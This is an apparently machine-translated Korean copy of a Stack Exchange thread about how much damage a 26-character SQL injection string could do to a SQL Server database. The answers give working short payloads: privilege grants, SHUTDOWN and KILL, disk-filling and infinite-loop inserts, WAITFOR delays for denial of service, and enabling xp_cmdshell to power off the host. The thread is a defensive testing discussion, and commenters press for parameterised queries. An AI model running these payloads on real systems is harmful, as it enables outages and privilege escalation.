SQL Server 주입-26 자 정도의 피해는 얼마입니까?


21

SQL Server 데이터베이스에 대한 주입 공격에 대한 복원력을 테스트하고 있습니다.

db의 모든 테이블 이름은 소문자이며 데이터 정렬은 대소 문자를 구분합니다 ( Latin1_General_CS_AS) .

보낼 수있는 문자열은 대문자 여야하며 최대 26 자까지 가능합니다. 따라서 테이블 이름이 대문자이므로 데이터 정렬로 인해 명령문이 실패하기 때문에 DROP TABLE을 보낼 수 없습니다.

그래서-26 자로 할 수있는 최대 피해는 얼마입니까?

편집하다

매개 변수가 지정된 쿼리 등에 대해 모두 알고 있습니다. 프런트 엔드를 개발 한 사람이 쿼리를 작성하여 보낸 경우이 매개 변수를 사용하지 않았다고 가정 해 봅시다.

나는 또한 사악한 일을하려고하지 않습니다. 이것은 같은 조직의 다른 누군가가 만든 시스템입니다.


1
우리는 상상하고 있습니까 아니면 실제로 펜 테스트를하고 있습니까? 보안 부족을 극복 할 수있는 방법을 찾고 있습니까?
LowlyDBA

41
문을 열어 두는 것이 왜 옵션일까요? 이것은 이미 문을 닫는 데 드는 비용보다 더 많은 시간을 투자 한 것으로 보입니다. 나는 이것을 무과실 운동으로 생각합니다. 10 가지 취약점을 발견하면 10 가지 취약점을 막을 것이며 11 번째는 아닐 것입니다. 이곳은 "세정"문자열이 우리를 얻었습니다. / facepalm
Aaron Bertrand

5
이것은 모호하고 임의적 인 질문이며 이론적으로는 해결할 수 없습니다. SQL 주입의 다른 기본 완화 기능 (권한, 샌드 박스, 방화벽 등)이 있으며이 질문에 대답하려면 이러한 모든 사항을 고려해야합니다.
Evan Carroll

2
26 자로 제한하는 것은 무엇입니까? 신청?
Jonathan Fite

7
멈춰. 그만해 매개 변수화 된 쿼리가 원격 으로 옵션 인 경우이를 사용하십시오 . 다른 사람이 사용 방법을 모른다면 괜찮은 자료를 찾아 읽도록하십시오. 그들이 듣지 않으면 관리자 나 감독자에게 중요한 보안 취약점 (비파괴 데모는 아프지 않을 것임)을 생성하고 있음을 알리고 교육을 거부하십시오.
jpmc26

답변:


38

쉬운:

GRANT EXECUTE TO LowlyDBA

또는이 경우에는

grant execute to lowlydba 

이에 대한 변형을 선택하십시오.

모든 가능성에 따라 현재 시스템에 대해이 테스트를 수행 할 수 있지만 시간이 지남에 따라 데이터베이스에 약간의 작은 변경 사항이 있으면 테스트가 무효화 될 수 있습니다. 문자열은 변경 될 수 있으며 누군가는 잠재적 인 파괴적인 가능성이있는 소문자 저장 프로 시저를 만들 수 있습니다. 누군가가 구성 할 수있는 파괴적인 26 자 공격이 없다고 100 % 확신 할 수는 없습니다.

보안 침해가 발생했을 때 적어도 부분적으로 책임이 있다고 추정되는 사람이 본인을 위해서만 개발자가 기본 업계 표준 최고의 보안 관행을 따르도록하는 방법을 찾으십시오 .

편집하다:

그리고 악의적 / 재미를 위해 모든 추적 플래그를 활성화 할 수 있습니다. 관찰하면 흥미로울 것입니다. 브렌트 오자 (Brent Ozar)가 블로그 게시물을 작성하는 것처럼 느껴집니다 ...

DBCC TRACEON(xxxx, -1)

1
추적 플래그를 활성화 외에도 : 다양한 임의 설정을 변경 : SET LOCK_TIMEOUT 0;, SET LANGUAGE Malaysian;, SET ANSI_NULLS OFF:...
ypercubeᵀᴹ

2
@ ypercubeᵀᴹ 그들은 모두 자신의 세션에만 영향을 미칩니다.
Martin Smith

2
@MartinSmith thnx. SET세션 설정에만 영향을 미치는 경우 satabase 및 서버 설정 변경 ( ALTER DATABASE ...;?) DROP DATABASE ..;이 성공하면 어떻게 더 많은 피해를
입히는가

1
주로 DB 및 서버 수준 설정을 위해 데이터베이스 및 sp_configure를 변경하십시오. 이것으로 26 자 제한에 도달 할 수 있습니다. 또한 데이터베이스 수준의 이러한 특정 설정은 클라이언트 연결이 설정하지 않은 경우에만 사용됩니다. 그리고 기본적으로 대부분 또는 모두 수행합니다.
Martin Smith

7
나는 그 말과 비슷합니다.
브렌트 오자르

22

SHUTDOWN명령이나 KILL희망이를 실행할 수있는 충분한 권한이없는 계정이 응용 프로그램 쿼리를 실행하지만 명령, (50 세 이상 임의의 숫자를 선택) 모두 26 자보다 훨씬 덜 걸릴.


일반적으로 계정은 테이블 삭제가 필요하지 않습니다 ...
Greg

3
@ 그레 ye. 길이가 짧으면 보안 주입 방법을 따르지 않는 한 SQL 주입을 허용하는 것을 고려하고있는 환경을 가정 할 수 있지만 최소한의 권한으로 계정을 구성하지 못할 수도 있습니다.
Martin Smith

14

시간이 끝나거나 디스크 공간이 부족할 때까지 채워지는 테이블을 만들 수 있습니다.

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

19
@AlanB 글쎄, 그렇다면 약점을 두 번 이상 악용하지 못하게하는 것이 필요합니다.
Mikael Eriksson

1
tarnations ... while 1=1 insert t values('')is 30 ... create table x(i int)=> while 1=1 insert t select 0is 27
WernerCD

1
이것을 사용하여 문자 제한보다 긴 명령을 작성한 다음 실행할 수 있습니까?
Lawtonfogle

1
@MartinSmith 나는 이런 식으로 떠날 것이라고 생각했지만 지금은 시도해야합니다 :). 내가 알아 내면 알려줄 것입니다.
Mikael Eriksson

7
@WernerCD x:insert t select 0 GOTO x는 정확히 26입니다.
Martin Smith

4

손상 정의에 따라 다음을 실행할 수 있습니다. WAITFOR DELAY '23 : 59 '진정으로 악의적이므로로드 테스트 도구를 사용하여 32,768 명의 클라이언트에서 실행할 수 있습니다.



1
문자열이 잠금을 보유한 임시 배치에 삽입되면 스레드 기아를 유발하지 않고도 단일 호출로 실행 가능한 서비스 거부를 제공 할 수 있습니다.
David Spillett

3

@MikaelEriksson의 답변과 @MartinSmith의 초기 의견에 대한 답변을 기반으로 한 변형 :

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

처음에는 WHILE 문을 작성하려고 시도했지만 27 자만 할 수있었습니다.

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

그러나 마틴은 GOTO를 지적했다.

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... 26 개의 문자로 무한 루프 삽입 문을 만드는 모든 악의 근원.

그렇게 말하면 ... 더 많은 공간을 사용하므로 int 대신 CHAR (99)를 사용하는 것이 유리할 수 있습니다. 다른 옵션은 더 긴 이름을 사용하고 26 자로 제한합니다. 또는 행당 저장 공간을 적게 사용합니다.

전체 테스트 코드 :

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

1
set @S = 'x:insert t;select 0;GOTO x';당신의 주입 공격의 미래 호환성을 위해;)
ypercubeᵀᴹ

@ ypercubeᵀᴹ 당신은 두 개의 ;s를 추가했습니다 ... 두 번째는 괜찮습니다-공백을 대체하고 필요하지 않으면 작동합니다. 첫 번째는 쿼리를 중단합니다. INSERT 문을 SELECT 문과 분리합니다.
WernerCD

아. 넵. 그것은 구분자를 사용하지 않을 때 일어나는 일입니다! 각 쿼리가 어디에서 끝나고 다음 쿼리가 언제 시작되는지 알 수 없습니다!
ypercubeᵀᴹ

1
@WarnerCD 알고 있습니다. SQL Server의 감가 상각 절차에 대한 농담이었습니다. 영원히 걸릴 것 같습니다. 그럼에도 불구하고 문장 사이에 세미콜론을 사용하는 것이 좋습니다.
ypercubeᵀᴹ

2
@ yper 나는 그것이 실행될 것이라고 의심합니다. 아마도 특별한 비즈니스 가치없이 추가 된 세미콜론을 추가해야하는 수많은 레거시 코드가있을 것입니다. 또한 응용 프로그램에 포함되어 있거나 업데이트하기가 어렵습니다.
Martin Smith

0
XP_CMDSHELL 'SHUTDOWN -PF'

얼마나 손상을 입 었는지에 따라 전원 차단을 고려하십시오. :-)

이를 위해서는 서버에서 xp_cmdshell을 사용하도록 설정해야합니다. 마지막 몇 버전의 SQL Server에는 해당되지 않습니다. 또한 서비스 계정에 종료 권한이 있어야합니다.

xp_cmdshell을 사용하면 26 자 제한을 초과 할 수 있습니다. 여러 번 주사를 허용 하시겠습니까?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE

1
EXEC는 이것이 배치의 첫 번째 명령문 인 경우에만 선택적입니다. 아마 여기에 해당되지 않을 것입니다.
Martin Smith

@ 마틴 스미스, 좋은 의견. EXEC는 각 프로 시저 호출 행에 5자를 추가하여 대부분 26자를 넘습니다. CREATE ALIAS가 여기서 도움이 될지 궁금합니다.
Greenstone Walker
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.